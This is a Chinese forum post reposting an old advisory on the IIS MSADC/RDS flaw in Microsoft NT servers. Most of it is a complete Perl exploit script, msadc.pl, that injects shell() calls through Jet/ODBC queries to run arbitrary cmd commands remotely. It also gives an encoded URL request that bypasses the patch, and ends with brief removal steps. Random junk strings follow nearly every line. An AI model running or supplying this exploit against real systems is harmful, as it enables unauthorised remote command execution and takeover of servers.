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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) sc,vj'r  
;N?]eM}yf  
涉及程序: p|p l  
Microsoft NT server U3dwI:cG  
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描述: AnX%[W "  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 e\:+uVzz  
FFEfI4&SfS  
详细: W*I(f]8:y`  
如果你没有时间读详细内容的话,就删除: ?o|f':  
c:\Program Files\Common Files\System\Msadc\msadcs.dll  e0,|Wm  
有关的安全问题就没有了。 Ev}C<zk*  
TJR:vr  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 fNW"+ <W  
0a XPPnuX  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ]Yn_}Bq  
关于利用ODBC远程漏洞的描述,请参看: Y<%@s}zc  
 UWo]s.  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pz.JWCU1  
XLrwxj0  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 }*S `qW;B  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp yvO{:B8%  
YF>m$?;  
这里不再论述。 #6HA\dE  
2$ze= /l  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: wG-HF'0L  
<"my^  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset R[hzMU}KB  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! {C N~S*m  
4?q <e*W  
I!Z_ [M  
#将下面这段保存为txt文件,然后: "perl -x 文件名" lrIjJ V  
U ^5Kz-5.  
#!perl _ =VqrK7T  
# A"dR{8&0  
# MSADC/RDS 'usage' (aka exploit) script P 'od`  
# hFy;ffs.  
# by rain.forest.puppy "4{LN}`  
# ^Dn D>h@q  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me F7EKoDt  
# beta test and find errors! GQUe!G9  
(Fhs"  
use Socket; use Getopt::Std; P"8~$ P#  
getopts("e:vd:h:XR", \%args); kr9*,E9cv  
_8F`cuyW  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; aGtf z)  
oF1,QQ^dg  
if (!defined $args{h} && !defined $args{R}) {  VoWNW  
print qq~ jk[1{I/  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Zy?Hi`  
-h <host> = host you want to scan (ip or domain) l:,'j@%  
-d <seconds> = delay between calls, default 1 second :fZ}o|t7  
-X = dump Index Server path table, if available QLiu2U o  
-v = verbose m4hg'<<V  
-e = external dictionary file for step 5 7>))D'l57  
b)qoh^  
Or a -R will resume a command session Ki$MpA3j   
&-Gqdnc  
~; exit;} Pama#6?OPh  
qGB{7-ru  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; yDegcAn?  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Kzm+GW3o[  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} AicBSqUke  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 3yU.& k  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} (mTE;s(  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ~O oidKT  
$Y/9SV,  
if (!defined $args{R}){ $ret = &has_msadc; ( +Q&[E"87  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} g4=pnK8  
c|B.n]Z  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" !h23cj+V  
. "cmd /c "; IYS)7`{]  
$in=<STDIN>; chomp $in; SwTL|+u  
$command="cmd /c " . $in ; mpU$ +  
,*&:2o_r  
if (defined $args{R}) {&load; exit;} _u5#v0Y  
%7IugHH9y  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; .ps-4eXF  
&try_btcustmr; yW1)vD7  
7XTkX"zKj  
print "\nStep 2: Trying to make our own DSN..."; 4C61GB?Vy  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; NV72  
irFMmIb  
print "\nStep 3: Trying known DSNs..."; ORHp$Un~)  
&known_dsn; ?mFv0_!O  
ff,pvk8N5  
print "\nStep 4: Trying known .mdbs..."; _VRpI)mu  
&known_mdb; Vt %bI0#  
\IV1j)I"u  
if (defined $args{e}){ 0ghGBuv1s  
print "\nStep 5: Trying dictionary of DSN names..."; }Qn&^[[miL  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } (:TjoXXiY  
DEG[Z7Ju  
print "Sorry Charley...maybe next time?\n"; S1Wj8P-  
exit; *`ua'"="k  
n 22zq6m  
############################################################################## &_dt>.  
{JZZZY!n2  
sub sendraw { # ripped and modded from whisker fk6%XO  
sleep($delay); # it's a DoS on the server! At least on mine... A+ZK4]xb  
my ($pstr)=@_; la0BiLzb]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || &:9c AIe]H  
die("Socket problems\n"); `scR*]f1+  
if(connect(S,pack "SnA4x8",2,80,$target)){ q<[P6}.  
select(S); $|=1; zZPuha8  
print $pstr; my @in=<S>; e6R}0w~G  
select(STDOUT); close(S); .h@rLorm>  
return @in; "7'J &^|  
} else { die("Can't connect...\n"); }} nm5cpnNl  
*4Thd:7 `  
############################################################################## ?I_s0k I  
%GjM(;Tk  
sub make_header { # make the HTTP request V:In>u$QJ!  
my $msadc=<<EOT ); !eow  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 W=^#v  
User-Agent: ACTIVEDATA n$x c];j  
Host: $ip @5=oeOg36  
Content-Length: $clen d6} r#\  
Connection: Keep-Alive D0&,?  
VRWAm>u  
ADCClientVersion:01.06 fHE <(  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 `<`` 8  
A!s`[2 Z  
--!ADM!ROX!YOUR!WORLD! n7B7m,@1  
Content-Type: application/x-varg Cc+t}"^  
Content-Length: $reqlen "bFTk/  
&gVN&  
EOT r?+%?$  
; $msadc=~s/\n/\r\n/g; 3 }TaF~  
return $msadc;} >Ea8G,  
~ -4{B  
############################################################################## 4IB9 ,?p  
p `8 s  
sub make_req { # make the RDS request :1cV;gJ  
my ($switch, $p1, $p2)=@_; gn8R[5:!V  
my $req=""; my $t1, $t2, $query, $dsn; FcR=v0),  
nrL9 E'F'  
if ($switch==1){ # this is the btcustmr.mdb query /\ y?Y  
$query="Select * from Customers where City=" . make_shell(); W98i[Q9A7  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ?i7%x,g(Z  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} cv-PRH#  
?]|\4]zV  
elsif ($switch==2){ # this is general make table query {@H6HqD  
$query="create table AZZ (B int, C varchar(10))"; yzbx .  
$dsn="$p1";} FOv=!'S o  
*W4m3Lq  
elsif ($switch==3){ # this is general exploit table query BWeA@v  
$query="select * from AZZ where C=" . make_shell(); [pC$+NX  
$dsn="$p1";} 3c#BKHNC  
fM]+SMZy  
elsif ($switch==4){ # attempt to hork file info from index server @K\~O__  
$query="select path from scope()"; M>wYD\oeg  
$dsn="Provider=MSIDXS;";} D"Bl:W'?j  
zvYq@Mhr  
elsif ($switch==5){ # bad query yh Yb'GK  
$query="select"; s>B5l2Q4  
$dsn="$p1";} 7L`A{L  
)IP,;<  
$t1= make_unicode($query); q!{y&.&\  
$t2= make_unicode($dsn); 35Ij ..z0  
$req = "\x02\x00\x03\x00"; 54gBJEhg  
$req.= "\x08\x00" . pack ("S1", length($t1)); $*^kY;  
$req.= "\x00\x00" . $t1 ; ?Nup1 !D  
$req.= "\x08\x00" . pack ("S1", length($t2)); )JDs\fUE  
$req.= "\x00\x00" . $t2 ; B8nf,dj?X  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; <6EeD5{*  
return $req;} iQ tN Aj  
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############################################################################## \s/s7y6b+  
v6=RY<l"m  
sub make_shell { # this makes the shell() statement lW+\j3?Z$  
return "'|shell(\"$command\")|'";} Nh8Q b/::  
5QW=&zI`=  
############################################################################## X\`_3=  
> A Khf  
sub make_unicode { # quick little function to convert to unicode o9|nJ;  
my ($in)=@_; my $out; Y'c>:;JEe  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } G3+.H  
return $out;} !S^AgZ~  
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############################################################################## v/Py"hQ  
HTVuStM8  
sub rdo_success { # checks for RDO return success (this is kludge) Hc!  mB  
my (@in) = @_; my $base=content_start(@in); 6DM$g=/ '  
if($in[$base]=~/multipart\/mixed/){ 8qY79)vD4E  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} %b%-Ogz;4  
return 0;} vL|SY_:4  
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############################################################################## di?K"Z>  
G^~k)6v=m  
sub make_dsn { # this makes a DSN for us B:dB,3,`(  
my @drives=("c","d","e","f"); D2<fw#  
print "\nMaking DSN: "; hU(umL<  
foreach $drive (@drives) { :V1W/c  
print "$drive: "; "8c@sHk(w  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . "w^!/  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" #D<C )Q  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); bP8Sj16q  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; O;z,qo X  
return 0 if $2 eq "404"; # not found/doesn't exist ~rlB'8j(  
if($2 eq "200") { ~?D4[D|sB  
foreach $line (@results) { 9)y/:sO<P  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} _76PIR{an  
} return 0;} yL%K4$z  
y-T| #  
############################################################################## ^M3~^lV  
)` SE S."  
sub verify_exists { r#+d&.|  
my ($page)=@_; zAK+8{,  
my @results=sendraw("GET $page HTTP/1.0\n\n"); {!.(7wV\  
return $results[0];} VO,!x~S!  
RS"H8P 4W  
############################################################################## e>7]w,*|  
u}>#Eb  
sub try_btcustmr { )'Oh `$M  
my @drives=("c","d","e","f"); $56Z#'(D  
my @dirs=("winnt","winnt35","winnt351","win","windows");  V_C-P[2~  
AjmVc])  
foreach $dir (@dirs) { ^@ I   
print "$dir -> "; # fun status so you can see progress pM^9c7@!:  
foreach $drive (@drives) { G'rxXJq  
print "$drive: "; # ditto 3 ;)>Fs;  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; :}yi -/_8!  
$reqlenlen=length( "$reqlen" ); @AK n@T5  
$clen= 206 + $reqlenlen + $reqlen; JIOh#VNU  
\,7f6:  
my @results=sendraw(make_header() . make_req(1,$drive,$dir));  :l~ I  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} <:(6EKJAq}  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} dA-2%uJ  
nIAx2dh?  
############################################################################## 8yRJD[/S  
r>dwDBE  
sub odbc_error { 6Se?sHC>  
my (@in)=@_; my $base; fXXr+Mor  
my $base = content_start(@in); * "R|4"uy  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 2Gz}T _e  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; * 1T&  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; - |kA)M[  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; TK5K_V*7  
return $in[$base+4].$in[$base+5].$in[$base+6];} j;%-fvd;  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; oE<`VY|  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Wc,_RN-  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} QZ4v/Ou  
*n; !G8\  
############################################################################## p%iGc<vHX  
`D>S;[~S7  
sub verbose { WzAb|&?  
my ($in)=@_; JCz@s~f\y  
return if !$verbose; ]Gpxhg  
print STDOUT "\n$in\n";} Yb:\a/ y  
P#pn*L*"T  
############################################################################## 8j Mk)-  
H]Cy=Zi"  
sub save { @L>q (Kg  
my ($p1, $p2, $p3, $p4)=@_; &/mA7Vf>eR  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; nS/)P4z  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; A&s:\3*Kh  
close OUT;} B,M(@5wz  
UV5Ie!\nm  
############################################################################## cYFiJJLG]  
jH19k}D  
sub load { MJ7Y#<u  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; +IrLDsd  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ;+0t;B!V  
@p=<IN>; close(IN); lFa02p0  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); z8{a(nKP  
$target= inet_aton($ip) || die("inet_aton problems"); =6woWlfb  
print "Resuming to $ip ..."; F4It/  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; W^fuScG)c  
if($p[1]==1) { ">~.$Jp_4  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 7Ok;Lt!x  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 2}YOcnB  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); .nG#co"r}3  
if (rdo_success(@results)){print "Success!\n";} SPN5dE.@  
else { print "failed\n"; verbose(odbc_error(@results));}} "vXxv'0\f  
elsif ($p[1]==3){ #rxVd 7f  
if(run_query("$p[3]")){ W"):-Wq  
print "Success!\n";} else { print "failed\n"; }} !O-T0O   
elsif ($p[1]==4){ W4hbK9y  
if(run_query($drvst . "$p[3]")){ Z&0'a  
print "Success!\n"; } else { print "failed\n"; }} 8'~[pMn`  
exit;} UjaK&K+M?  
Dpvk\t  
############################################################################## < XP9@t&  
'pm2n0  
sub create_table { m6n?bEl6I  
my ($in)=@_; JXCCTUO  
$reqlen=length( make_req(2,$in,"") ) - 28; ~3WM5 fv  
$reqlenlen=length( "$reqlen" ); 8dV=[+  
$clen= 206 + $reqlenlen + $reqlen; y|CP;:f;  
my @results=sendraw(make_header() . make_req(2,$in,"")); EPS={w$'s  
return 1 if rdo_success(@results); W.z;B<  
my $temp= odbc_error(@results); verbose($temp); ~vs}.kb  
return 1 if $temp=~/Table 'AZZ' already exists/; QF{4/y^j{  
return 0;} ld3-C55  
-M%_\;"de  
############################################################################## [`p=(/I&L  
,$1eFgY%  
sub known_dsn { WtViW=j'  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Z^V6K3GSz-  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", N5*u]j  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", +u!0rLb  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); M(jgd  
GN-mrQo  
foreach $dSn (@dsns) { x 8Retuv  
print "."; i7ISX>%  
next if (!is_access("DSN=$dSn")); kjEEuEv  
if(create_table("DSN=$dSn")){ .gG1kWA-  
print "$dSn successful\n"; R>,:A%?^b5  
if(run_query("DSN=$dSn")){ )_mr! z(S  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2rmSo&3@s  
print "Something's borked. Use verbose next time\n";}}} print "\n";} M>&%(4K  
A:aE|v/T&  
############################################################################## :/:.Kb  
8aO~/i:(.  
sub is_access { an4GSL  
my ($in)=@_; s4 6}s{6   
$reqlen=length( make_req(5,$in,"") ) - 28; =:DaS`~V  
$reqlenlen=length( "$reqlen" ); D@.tkzU@E  
$clen= 206 + $reqlenlen + $reqlen; 7h6,c/<  
my @results=sendraw(make_header() . make_req(5,$in,"")); VUVaaOmO  
my $temp= odbc_error(@results); P8^hBv*  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); {T4  
return 0;} _cy2z  
,Vh.T&X5  
############################################################################## A]YV s  
\]P!.}nX#  
sub run_query { gN24M3{C  
my ($in)=@_; f@8>HCI  
$reqlen=length( make_req(3,$in,"") ) - 28; Vl_:c75"  
$reqlenlen=length( "$reqlen" ); a["2VY6Eq@  
$clen= 206 + $reqlenlen + $reqlen; ]4h92\\965  
my @results=sendraw(make_header() . make_req(3,$in,"")); ]Tkc-ez  
return 1 if rdo_success(@results); N-I5X2  
my $temp= odbc_error(@results); verbose($temp); z |a sa*  
return 0;} 8'<-:KG  
)t$,e2FY  
############################################################################## w4W_iaU  
v z^<YZMu  
sub known_mdb { q-]`CW]n  
my @drives=("c","d","e","f","g"); Ggl~nxz  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ,Y|^^?'j Q  
my $dir, $drive, $mdb; bx]N>k J  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; .q[SI$qO/  
\2ZPj)&-E  
# this is sparse, because I don't know of many "*LD 3  
my @sysmdbs=( "\\catroot\\icatalog.mdb", bHg,1y)UC  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 8>X d2X  
"\\system32\\certmdb.mdb", Fx5d:!]:$?  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% kGdt1N[  
F;gx%[$GX  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", JNkwEZhHyg  
"\\cfusion\\cfapps\\forums\\forums_.mdb", vhsk 0$f  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", qw@puw@D  
"\\cfusion\\cfapps\\security\\realm_.mdb", .pfP7weQ  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 2zVJvn7  
"\\cfusion\\database\\cfexamples.mdb", 1AG=%F|.  
"\\cfusion\\database\\cfsnippets.mdb", ,hq)1u  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", AZa 6 C w  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", F%i^XA]a*  
"\\cfusion\\brighttiger\\database\\cleam.mdb", .so[I  
"\\cfusion\\database\\smpolicy.mdb", jy giG&H  
"\\cfusion\\database\cypress.mdb", =+-Yxh|*  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", jeGj<m  
"\\website\\cgi-win\\dbsample.mdb", 0A,]$Fzt  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", F)s{PCl  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" w3=%*<  
); #these are just AtF3%Z v2  
foreach $drive (@drives) { pGf@z:^{*-  
foreach $dir (@dirs){ {e+-vl  
foreach $mdb (@sysmdbs) { v2H#=E4cZ#  
print "."; zX0md x<|<  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ <$F\Nk|x  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; yY[<0|o u  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ JJ{9U(`_y6  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; (FJ9-K0b{n  
} else { print "Something's borked. Use verbose next time\n"; }}}}} L=q+|j1>  
}0u8r`  
foreach $drive (@drives) { 4hAl-8~Q6  
foreach $mdb (@mdbs) { O!Oumw,$  
print "."; :um|nRwy9  
if(create_table($drv . $drive . $dir . $mdb)){ X{we/'>  
print "\n" . $drive . $dir . $mdb . " successful\n"; &v"3*.org@  
if(run_query($drv . $drive . $dir . $mdb)){ VH=S?_RY>  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; PH> b-n  
} else { print "Something's borked. Use verbose next time\n"; }}}} \3'9Uz,OC  
} aX~%5 mF  
AX= 1b,s  
############################################################################## 3t<a $i  
Y`o+XimX  
sub hork_idx { Qb)C[5a}  
print "\nAttempting to dump Index Server tables...\n"; X66VU  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ]d a^xWK  
$reqlen=length( make_req(4,"","") ) - 28; INkD=tX  
$reqlenlen=length( "$reqlen" ); ?Y:8eD"*  
$clen= 206 + $reqlenlen + $reqlen; zN{K5<7o  
my @results=sendraw2(make_header() . make_req(4,"","")); \0mb 3Q'  
if (rdo_success(@results)){ c>/. ;p  
my $max=@results; my $c; my %d; ~v'3"k6  
for($c=19; $c<$max; $c++){ ' v\L @"  
$results[$c]=~s/\x00//g; 7zHh@ B:]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; jCrpL~tWT  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Kx=4~  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; G!Um,U/g  
$d{"$1$2"}="";} 7UL qo>j  
foreach $c (keys %d){ print "$c\n"; } -K rxMi  
} else {print "Index server doesn't seem to be installed.\n"; }} [Z~ 2  
e|&6$A>4]  
############################################################################## `5~ +,/Ys  
/DqLrA  
sub dsn_dict { 4#5:~M }  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); x7vctjM|  
while(<IN>){ u`olW%C/T  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Q>R>R*1.j  
next if (!is_access("DSN=$dSn")); F29v a  
if(create_table("DSN=$dSn")){ E@-KGsdhK  
print "$dSn successful\n"; %e`$p=m  
if(run_query("DSN=$dSn")){ K =wBpLB  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { M/q E2L[y  
print "Something's borked. Use verbose next time\n";}}} B9T!j]'  
print "\n"; close(IN);} Rb%%?*|  
cuK,X!O  
############################################################################## FJ %  
_>=L>*  
sub sendraw2 { # ripped and modded from whisker f{"8g"[[)(  
sleep($delay); # it's a DoS on the server! At least on mine... l#lF +Q;  
my ($pstr)=@_; &q`q4g&7  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 2MATpV#BT  
die("Socket problems\n"); 0vVV%,v  
if(connect(S,pack "SnA4x8",2,80,$target)){ bJYda)  
print "Connected. Getting data"; P ~#>H{  
open(OUT,">raw.out"); my @in; LY[~Os W  
select(S); $|=1; print $pstr; xGU(n _Y  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Qc[3Fq,f  
close(OUT); select(STDOUT); close(S); return @in; /sr2mt-Q  
} else { die("Can't connect...\n"); }} u(OW gbA3  
eL4NB$Fb  
############################################################################## "wlt> SU  
Ov#=]t5  
sub content_start { # this will take in the server headers I+!:K|^  
my (@in)=@_; my $c; ?H_ LX;r  
for ($c=1;$c<500;$c++) { [! 'op0  
if($in[$c] =~/^\x0d\x0a/){ #U*_1P0h  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } CH fVQ|!\  
else { return $c+1; }}} :>aQ~1f>]  
return -1;} # it should never get here actually #-8\JEn  
MwfOy@|N  
############################################################################## }lK3-2Pk  
gJ;_$`  
sub funky { L:(1ZS  
my (@in)=@_; my $error=odbc_error(@in); .<z!3O&L  
if($error=~/ADO could not find the specified provider/){ dgDy5{_  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; xl"HotsX-x  
exit;} 0QvT   
if($error=~/A Handler is required/){ , =aJVb=C  
print "\nServer has custom handler filters (they most likely are patched)\n"; ifo7%XPcg  
exit;} 5OO'v07b  
if($error=~/specified Handler has denied Access/){ RJy=pNztm  
print "\nServer has custom handler filters (they most likely are patched)\n"; VR  
exit;}} ltkI}h,e  
RZe'Kw -  
############################################################################## =C L} $_  
1yV: qp  
sub has_msadc { wZ4tCZA  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); sz @p_Z/  
my $base=content_start(@results); A<\JQ  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); A/7X9ir  
return 0;} (_4;') 9  
Ne $"g[uFU  
######################## ?=VOD#)  
p~.8\bI=  
Kf 2jD4z}  
解决方案: fK&e7j`qO  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll @:tj<\G]  
2、移除web 目录: /msadc
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学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 bln/1iS  
P/JK$nb  
拿出来充数 哈哈
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